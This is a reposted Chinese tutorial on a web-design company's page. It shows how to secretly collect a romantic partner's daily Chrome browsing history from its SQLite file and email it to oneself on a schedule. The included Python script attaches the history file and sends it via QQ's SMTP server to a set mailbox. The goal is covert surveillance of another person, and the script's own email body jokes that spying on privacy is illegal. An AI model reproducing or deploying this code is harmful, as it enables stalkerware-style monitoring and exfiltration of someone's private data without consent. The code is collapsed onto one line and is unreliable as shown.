創(chuàng)新互聯(lián)www.cdcxhl.cn八線動態(tài)BGP香港云服務器提供商,新人活動買多久送多久,劃算不套路!
成都創(chuàng)新互聯(lián)是專業(yè)的新區(qū)網(wǎng)站建設公司,新區(qū)接單;提供網(wǎng)站建設、網(wǎng)站制作,網(wǎng)頁設計,網(wǎng)站設計,建網(wǎng)站,PHP網(wǎng)站建設等專業(yè)做網(wǎng)站服務;采用PHP框架,可快速的進行新區(qū)網(wǎng)站開發(fā)網(wǎng)頁制作和功能擴展;專業(yè)做搜索引擎喜愛的網(wǎng)站,專業(yè)的做網(wǎng)站團隊,希望更多企業(yè)前來合作!小編這次要給大家分享的是Python實時監(jiān)控網(wǎng)站瀏覽記錄是怎么實現(xiàn)的,文章內(nèi)容豐富,感興趣的小伙伴可以來了解一下,希望大家閱讀完這篇文章之后能夠有所收獲。
需求:
(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問時間,并存在一個txt文件中
(2)將這個txt文件發(fā)送給指定的郵箱地址(你的郵箱)
(3)建立例行任務,每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看啥了
準備
發(fā)送郵件的qq郵箱地址
qq郵箱授權(quán)碼
SMTP服務器地址 : smtp.qq.com
接受郵件的郵箱地址
執(zhí)行:
(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數(shù)據(jù)組成
從表中可以看出,我們要的網(wǎng)址和訪問時間就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*- from email import encoders from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.utils import parseaddr, formataddr import smtplib import argparse # 1.文件執(zhí)行的需要的參數(shù)(result.txt) parser = argparse.ArgumentParser() parser.add_argument('affix_file',help='the path of the affix') args = parser.parse_args() # 2.格式化一個郵件地址和郵件信息 def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) #連接服務器(這里大家好改成自己的!) from_addr = "771568102@qq.com" #發(fā)件人郵箱 password = "xxxxxxxx" #發(fā)件人郵箱授權(quán)碼 to_addr = "2160802033@cnu.edu.cn" #收件人郵箱 smtp_server = "smtp.qq.com" #SMTP服務器地址 #郵件發(fā)件人名字、收件人名字、主題 msg = MIMEMultipart() msg['From'] = _format_addr('風一樣的女子 <%s>' % from_addr) msg['To'] = _format_addr('風一樣的男子 <%s>' % to_addr) msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode() # 郵件正文是MIMEText: msg.attach(MIMEText('窺探隱私是犯法的啊!', 'plain', 'utf-8')) # 添加附件就是加上一個MIMEBase,從本地讀取一個txt文件: with open(args.affix_file, 'r') as f: # 設置附件的MIME和文件名,這里是py類型: mime = MIMEBase('result', 'txt', filename='result.txt') # 加上必要的頭信息: mime.add_header('Content-Disposition', 'attachment', filename='result.txt') mime.add_header('Content-ID', '<0>') mime.add_header('X-Attachment-Id', '0') # 把附件的內(nèi)容讀進來: mime.set_payload(f.read()) # 用Base64編碼: encoders.encode_base64(mime) # 添加到MIMEMultipart: msg.attach(mime) #3.通過SMTP發(fā)送出去 server = smtplib.SMTP(smtp_server, 25) server.set_debuglevel(1) server.login(from_addr, password) server.sendmail(from_addr, [to_addr], msg.as_string()) server.quit()
分享標題:Python實時監(jiān)控網(wǎng)站瀏覽記錄是怎么實現(xiàn)的-創(chuàng)新互聯(lián)
網(wǎng)頁URL:http://aaarwkj.com/article8/cdheop.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供定制開發(fā)、網(wǎng)站導航、網(wǎng)站設計、微信公眾號、軟件開發(fā)、營銷型網(wǎng)站建設
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)